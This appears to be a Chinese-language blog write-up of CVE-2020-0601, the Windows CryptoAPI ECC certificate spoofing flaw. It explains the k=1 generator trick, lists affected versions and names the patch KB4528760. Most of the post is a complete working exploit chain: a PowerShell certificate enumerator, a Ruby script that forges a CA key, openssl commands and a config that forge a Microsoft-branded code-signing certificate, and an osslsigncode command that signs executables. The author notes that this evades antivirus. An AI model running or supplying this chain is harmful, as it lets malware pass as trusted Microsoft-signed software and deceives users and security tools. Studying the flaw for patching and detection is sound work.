漏洞介绍
该漏洞位于Windows CryptoAPI(Crypt32.dll)验证椭圆曲线加密算法证书的方式,可能影响信任的一些实例包括(不限于):HTTPS连接、文件签名和电子邮件签名、以用户模式启动的签名可执行程序。
此外,该漏洞可以让攻击者伪造代码签名证书对恶意可执行文件进行签名,使文件看似来自可信的来源。例如,可以让勒索软件或其他间谍软件拥有看似有效的证书,从而促使用户安装。中间人攻击并解密用户连接到受影响软件的机密信息也是主要的攻击场景之一。
影响范围
目前,支持使用带有指定参数的ECC密钥的证书的Microsoft Windows版本会受到影响,包括了Windows 10、Windows Server 2016/2019以及依赖于Windows CryptoAPI的应用程序
而Windows 10 之前的版本,如Windows 7、Windows Server 2008 R2 等均不受该漏洞的影响。
总而言之,该漏洞可进行签名伪造绕过检测,但仅支持win10等高版本,win7不受影响。
漏洞理解
问题出在ECC椭圆曲线加密算法,他是非对称算法
曲线方程示例如下
此时C与A做直线交于D',在做X轴垂线得D,D=A+C=3A
在实际应用中,一般会设定一个起点G,通过k(私钥)次变换,可得到公钥K,矢量计算公式为K=kG,具体算法理解可参考最后的链接
漏洞出在Crypt32.dll再进行ECC根证书CA校验的时候,仅仅对公钥进行合法校验,而ECC算法其他参数(如起点G)没进行校验,这导致一个结果:
首先我获取一个系统合法的ECC证书,可获得他的公钥,而它的公钥是通过K=kG生成的,当k'=1,G'=K时,可得K'=k'G'=K,也就是说令起点G等于合法ECC证书的公钥,私钥为1,签发伪造的ECC证书的公钥和系统合法ECC证书公钥是一样的,这就可以触发上述的漏洞,让windows校验伪造签发的证书是合法的。
正常来讲,在标准椭圆曲线算法中,基点G并不是随意指定的,而是有固定的值,例如在secp256r1版本的算法中是有标准规定的固定值,如果对参数不加验证,是的用户可以自定义传入的基点G值(作为函数的参数),上面的私钥k=1的特殊解即可成立。
漏洞利用
1 2 3 4 5 6 7 8 9 | dir Cert:\LocalMachine\root -Recurse|?{$_.FriendlyName -like "*ECC*"} |%{New-Object -TypeName psobject -Property @{ SerialNumber='0x'+$_.SerialNumber.tolower() FriendlyName=$_.FriendlyName publickey=[bitconverter]::tostring($_.publickey.encodedkeyvalue.rawdata).replace('-','').tolower() publickeylen=[bitconverter]::tostring($_.publickey.encodedkeyvalue.rawdata).replace('-','').length Subject=$_.Subject } } |Format-list |
通过certmgr.msc打开证书管理界面,选择受"信任的根证书颁发机构-证书",导出其中一个base64编码的ECC证书,我选的是Microsoft ECC TS Root Certificate Authority 2018
然后用以下ruby脚本生成新的私钥
1 2 3 4 5 6 7 8 9 10 11 12 | require 'openssl' raw = File.read ARGV[0] # 读取使用ECC算法的证书文件 ca = OpenSSL::X509::Certificate.new(raw) # 读取使用ECC算法的证书 ca_key = ca.public_key # 从证书中提取公钥ca_key ca_key.private_key = 1 # 设置私钥为1,使得公钥K==1*基点G的等式成立 group = ca_key.group group.set_generator(ca_key.public_key, group.order, group.cofactor) group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE ca_key.group = group # 利用构建的假基点G和假密钥k设置新group File.open("spoofed_ca.key", 'w') { |f| f.write ca_key.to_pem } # 将新的group写入文件 |
生成crt证书的机构信息推荐使用原本证书的,可使用以下命令查看。
1 | openssl x509 -in ca.cer -text -noout |
完整命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | # 生成新的ca私钥spoofed_ca.key ruby main.rb ca.cer # 根据ca私钥生成ca公钥 openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt #生成用户私钥 openssl ecparam -name secp384r1 -genkey -noout -out cert.key #根据用户私钥新建一个证书签名请求CSR openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs # 使用伪造的CA签署CSR,得到签名证书的cert.crt openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs # 将证书的密钥和欺骗性的CA打包到一个PKCS12文件中,以对可执行文件进行签名 openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12 # 用PKCS12文件签名可执行文件 osslsigncode sign -pkcs12 cert.p12 -in release.exe -out release_signed.exe |
其中的openssl_cs.conf文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | [ req ] prompt = no distinguished_name = req_distinguished_name x509_extensions = v3_req [ req_distinguished_name ] C = US ST = Washington L = Redmond O = Microsoft Corporation CN = *.microsoft.com [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = *.microsoft.com [ v3_cs ] basicConstraints = critical, CA:FALSE subjectKeyIdentifier = hash keyUsage = digitalSignature extendedKeyUsage = codeSigning |
给恶意文件签名后可直接绕过杀软检测,但目前来说杀软也慢慢开始支持检测该畸形证书。
其实生成了cert.p12的用户证书后,其他文件的签名直接使用最后一条命令即可。
1 | osslsigncode sign -pkcs12 cert.p12 -in release.exe -out release_signed.exe |
补丁
KB4528760
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601
参考
https://blog.csdn.net/eastmount/article/details/104335673#t7
https://www.freebuf.com/vuls/225879.html
https://mp.weixin.qq.com/s/wca5osB5R16bWvtx2LnPPg